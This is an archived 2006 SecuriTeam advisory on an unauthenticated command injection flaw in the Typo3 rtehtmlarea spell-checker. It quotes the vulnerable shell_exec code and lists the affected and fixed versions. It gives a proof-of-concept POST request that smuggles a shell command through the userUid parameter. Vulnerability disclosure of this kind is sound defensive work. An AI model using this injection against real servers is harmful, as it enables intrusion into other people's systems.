

# [UNIX] Typo3 Command Execution Vulnerability

---

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-12/msg00039.html>

---

- *From:* SecuriTeam <[support@xxxxxxxxxxxxxxxx](mailto:support@xxxxxxxxxxxxxxxx)>
  - *Date:* 20 Dec 2006 16:44:51 +0200
- 

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>  
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.  
<http://www.securiteam.com/maillinglist.html>

-----

## Typo3 Command Execution Vulnerability

---

### SUMMARY

<<http://www.typo3.com>> TYPO3 is "a free Open Source content management system for enterprise purposes on the web and in intranets. It offers full flexibility and extendability while featuring an accomplished set of ready-made interfaces, functions and modules".

In version 4.0 and above, Typo3 includes a sysext named rtehtmlarea. The extension can optionally also be installed on Typo3 versions below 4.0. The RTE HTML Editor allows spell checking, for which it uses the command line tool 'aspell'. When this program is called, unvalidated user input is used as argument to the system call. Login to the backend is /not/ required to exploit this vulnerability.

This allows an attacker to execute arbitrary commands on the target system.

### DETAILS

Vulnerable Systems:

- \* Typo3 versions 4.0.0 – 4.0.3
- \* Typo3 versions 3.7 and 3.8 with rtehtmlarea extension

## [UNIX] Typo3 Command Execution Vulnerability

\* Typo3 version 4.1beta

Immune Systems:

\* Typo3 version 4.0.4

The affected script resides in

/typo3/sysextrtehtmlarea/htmlarea/plugins/SpellChecker/spell-check-logic.php which calls the vulnerable script /typo3/sysextrtehtmlarea/pi1/class.tx\_rtehtmlarea\_pi1.php. It requires a GET parameter id with the pageid of an existing page. When the POST parameter cmd is set to learn, the parameter userUid is not validated and can be used by an attacker to inject code.

Here is the vulnerable code (line 208):

```
$AspellCommand = 'cat ' . $tmpFileName . ' | ' . $this->AspellDirectory .  
' -a --mode=none' . $this->personalDictsArg . ' --lang=' .  
$this->dictionary . ' --encoding=' . $this->parserCharset . ' 2>&1';  
print $AspellCommand . "\n";  
print shell_exec($AspellCommand);
```

There seems to be a second command execution vulnerability in the same file in line 365. It is left as a task to the reader to exploit that flaw.

For typo3 versions < 4.0, the rtehtmlarea extension is probably located at /typo3/ext.

Proof of concept:

Here is a sample POST request that writes a file 'shell.txt' into /tmp:

```
POST /typo3/sysextrtehtmlarea/htmlarea/plugins/SpellChecker/spell-  
check-logic.php?id=1 HTTP/1.1  
Host: www.typo3host.abc  
User-Agent: none  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 111
```

```
psell_mode=fast&to_p_dict=1&cmd=learn&userUid=test;  
echo+'shell'+>+/tmp/shell.txt %23&enablePersonalDicts=true
```

### ADDITIONAL INFORMATION

The information has been provided by <<mailto:research@xxxxxxxxxxxxxxxx>>  
SEC Consult Research.

The original article can be found at:

<<http://www.sec-consult.com/272.html>> <http://www.sec-consult.com/272.html>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

## [UNIX] Typo3 Command Execution Vulnerability

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxx

=====  
=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.